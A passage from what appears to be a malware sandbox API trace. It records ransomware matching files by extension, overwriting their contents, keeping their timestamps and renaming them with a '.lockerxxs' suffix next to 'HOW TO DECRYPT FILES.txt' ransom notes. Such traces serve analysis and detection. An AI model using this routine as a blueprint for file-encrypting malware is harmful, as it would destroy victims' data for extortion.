(pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html", pszSpec="*.zip") returned 0 [0064.943] lstrlenA (lpString="*.zip") returned 5 [0064.943] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html", pszSpec="*.html") returned 1 [0064.943] lstrlenA (lpString="*.html") returned 6 [0064.943] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html" [0064.943] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html" [0064.943] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html", lpString2="." | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html.") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html." [0064.943] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html.lockerxxs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html.lockerxxs" [0064.943] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsbrowserupgrade.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0064.944] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x829 [0064.944] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xa89b0700, dwHighDateTime=0x1c747ea), lpLastAccessTime=0x407536*(dwLowDateTime=0x618c8a10, dwHighDateTime=0x1d301bf), lpLastWriteTime=0x40753e*(dwLowDateTime=0xa89b0700, dwHighDateTime=0x1c747ea)) returned 1 [0064.944] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0064.944] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x803, lpOverlapped=0x0) returned 1 [0064.946] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html") returned="FormsBrowserUpgrade.html" [0064.946] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0064.946] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x803, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x803, lpOverlapped=0x0) returned 1 [0064.947] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0064.947] CloseHandle (hObject=0x98) returned 1 [0064.949] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsbrowserupgrade.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsbrowserupgrade.html.lockerxxs")) returned 1 [0064.950] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89b0700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa89b0700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2ef, dwReserved0=0x3000003, dwReserved1=0x4f81d8, cFileName="FormsColorChart.html", cAlternateFileName="FORMSC~1.HTM")) returned 1 [0064.950] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0064.950] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="FormsColorChart.html") returned -1 [0064.950] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="FormsColorChart.html") returned 1 [0064.950] lstrcmpiA (lpString1="", lpString2="FormsColorChart.html") returned -1 [0064.950] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html") returned="FormsBrowserUpgrade.html" [0064.950] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" [0064.950] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="" [0064.950] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" [0064.950] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\how to decrypt files.txt")) returned 0x20 [0064.950] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="FormsColorChart.html" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html" [0064.950] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html", pszSpec="*.ems") returned 0 [0064.951] lstrlenA (lpString="*.ems") returned 5 [0064.951] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html", pszSpec="*.db") returned 0 [0064.951] lstrlenA (lpString="*.db") returned 4 [0064.951] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html", pszSpec="*.dbf") returned 0 [0064.951] lstrlenA (lpString="*.dbf") returned 5 [0064.951] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html", pszSpec="*.myox") returned 0 [0064.951] lstrlenA (lpString="*.myox") returned 6 [0064.951] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html", pszSpec="*.myo") returned 0 [0064.951] lstrlenA (lpString="*.myo") returned 5 [0064.951] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html", pszSpec="*.qbw") returned 0 [0064.951] lstrlenA (lpString="*.qbw") returned 5 [0064.951] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html", pszSpec="*.qbb") returned 0 [0064.951] lstrlenA (lpString="*.qbb") returned 5 [0064.951] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html", pszSpec="*.qbm") returned 0 [0064.951] lstrlenA (lpString="*.qbm") returned 5 [0064.951] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html", pszSpec="*.qbo") returned 0 [0064.952] lstrlenA (lpString="*.qbo") returned 5 [0064.952] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html", pszSpec="*.qbx") returned 0 [0064.952] lstrlenA (lpString="*.qbx") returned 5 [0064.952] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html", pszSpec="*.qba") returned 0 [0064.952] lstrlenA (lpString="*.qba") returned 5 [0064.952] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html", pszSpec="*.qby") returned 0 [0064.952] lstrlenA (lpString="*.qby") returned 5 [0064.952] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html", pszSpec="*.qbj") returned 0 [0064.952] lstrlenA (lpString="*.qbj") returned 5 [0064.952] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html", pszSpec="*.ofx") returned 0 [0064.952] lstrlenA (lpString="*.ofx") returned 5 [0064.952] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html", pszSpec="*.qif") returned 0 [0064.952] lstrlenA (lpString="*.qif") returned 5 [0064.952] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html", pszSpec="*.mye") returned 0 [0064.952] lstrlenA (lpString="*.mye") returned 5 [0064.953] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html", pszSpec="*.mbox") returned 0 [0064.953] lstrlenA (lpString="*.mbox") returned 6 [0064.953] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html", pszSpec="*.eml") returned 0 [0064.953] lstrlenA (lpString="*.eml") returned 5 [0064.953] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html", pszSpec="*.pst") returned 0 [0064.953] lstrlenA (lpString="*.pst") returned 5 [0064.953] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html", pszSpec="*.ost") returned 0 [0064.953] lstrlenA (lpString="*.ost") returned 5 [0064.953] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html", pszSpec="*.idx") returned 0 [0064.953] lstrlenA (lpString="*.idx") returned 5 [0064.953] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html", pszSpec="*.dbx") returned 0 [0064.953] lstrlenA (lpString="*.dbx") returned 5 [0064.953] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html", pszSpec="*.sql") returned 0 [0064.953] lstrlenA (lpString="*.sql") returned 5 [0064.953] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html", pszSpec="*.mdb") returned 0 [0064.953] lstrlenA (lpString="*.mdb") returned 5 [0064.953] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html", pszSpec="*.fdb") returned 0 [0064.953] lstrlenA (lpString="*.fdb") returned 5 [0064.954] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html", pszSpec="*.wab") returned 0 [0064.954] lstrlenA (lpString="*.wab") returned 5 [0064.954] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html", pszSpec="*.dat") returned 0 [0064.954] lstrlenA (lpString="*.dat") returned 5 [0064.954] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html", pszSpec="*.txt") returned 0 [0064.954] lstrlenA (lpString="*.txt") returned 5 [0064.954] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html", pszSpec="*.jpeg") returned 0 [0064.954] lstrlenA (lpString="*.jpeg") returned 6 [0064.954] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html", pszSpec="*.jpg") returned 0 [0064.954] lstrlenA (lpString="*.jpg") returned 5 [0064.954] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html", pszSpec="*.png") returned 0 [0064.954] lstrlenA (lpString="*.png") returned 5 [0064.954] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html", pszSpec="*.php") returned 0 [0064.954] lstrlenA (lpString="*.php") returned 5 [0064.954] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html", pszSpec="*.cs") returned 0 [0064.954] lstrlenA (lpString="*.cs") returned 4 [0064.954] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html", pszSpec="*.cpp") returned 0 [0064.954] lstrlenA (lpString="*.cpp") returned 5 [0064.955] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html", pszSpec="*.rar") returned 0 [0064.955] lstrlenA (lpString="*.rar") returned 5 [0064.955] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html", pszSpec="*.zip") returned 0 [0064.955] lstrlenA (lpString="*.zip") returned 5 [0064.955] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html", pszSpec="*.html") returned 1 [0064.955] lstrlenA (lpString="*.html") returned 6 [0064.955] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html" [0064.955] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html" [0064.955] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html", lpString2="." | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html.") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html." [0064.955] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html.lockerxxs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html.lockerxxs" [0064.979] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formscolorchart.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0064.980] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2ef [0064.980] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xa89b0700, dwHighDateTime=0x1c747ea), lpLastAccessTime=0x407536*(dwLowDateTime=0x5291c2f0, dwHighDateTime=0x1d301bf), lpLastWriteTime=0x40753e*(dwLowDateTime=0xa89b0700, dwHighDateTime=0x1c747ea)) returned 1 [0064.980] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0064.980] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x2c9, lpOverlapped=0x0) returned 1 [0064.982] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html") returned="FormsColorChart.html" [0064.982] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0064.982] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x2c9, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x2c9, lpOverlapped=0x0) returned 1 [0064.983] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0064.983] CloseHandle (hObject=0x98) returned 1 [0064.984] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formscolorchart.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formscolorchart.html.lockerxxs")) returned 1 [0064.985] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89b0700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa89b0700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13bb, dwReserved0=0x3000003, dwReserved1=0x4f81d8, cFileName="FormsFormTemplate.html", cAlternateFileName="FORMSF~1.HTM")) returned 1 [0064.985] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0064.985] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="FormsFormTemplate.html") returned -1 [0064.985] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="FormsFormTemplate.html") returned 1 [0064.985] lstrcmpiA (lpString1="", lpString2="FormsFormTemplate.html") returned -1 [0064.985] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html") returned="FormsColorChart.html" [0064.985] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" [0064.985] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="" [0064.985] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" [0064.985] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\how to decrypt files.txt")) returned 0x20 [0064.985] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="FormsFormTemplate.html" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html" [0064.986] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html", pszSpec="*.ems") returned 0 [0064.986] lstrlenA (lpString="*.ems") returned 5 [0064.986] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html", pszSpec="*.db") returned 0 [0064.986] lstrlenA (lpString="*.db") returned 4 [0064.986] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html", pszSpec="*.dbf") returned 0 [0064.986] lstrlenA (lpString="*.dbf") returned 5 [0064.986] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html", pszSpec="*.myox") returned 0 [0064.986] lstrlenA (lpString="*.myox") returned 6 [0064.986] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html", pszSpec="*.myo") returned 0 [0064.986] lstrlenA (lpString="*.myo") returned 5 [0064.986] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html", pszSpec="*.qbw") returned 0 [0064.986] lstrlenA (lpString="*.qbw") returned 5 [0064.986] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html", pszSpec="*.qbb") returned 0 [0064.986] lstrlenA (lpString="*.qbb") returned 5 [0064.986] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html", pszSpec="*.qbm") returned 0 [0064.986] lstrlenA (lpString="*.qbm") returned 5 [0064.986] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html", pszSpec="*.qbo") returned 0 [0064.987] lstrlenA (lpString="*.qbo") returned 5 [0064.987] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html", pszSpec="*.qbx") returned 0 [0064.987] lstrlenA (lpString="*.qbx") returned 5 [0064.987] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html", pszSpec="*.qba") returned 0 [0064.987] lstrlenA (lpString="*.qba") returned 5 [0064.987] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html", pszSpec="*.qby") returned 0 [0064.987] lstrlenA (lpString="*.qby") returned 5 [0064.987] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html", pszSpec="*.qbj") returned 0 [0064.987] lstrlenA (lpString="*.qbj") returned 5 [0064.987] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html", pszSpec="*.ofx") returned 0 [0064.987] lstrlenA (lpString="*.ofx") returned 5 [0064.987] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html", pszSpec="*.qif") returned 0 [0064.987] lstrlenA (lpString="*.qif") returned 5 [0064.987] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft 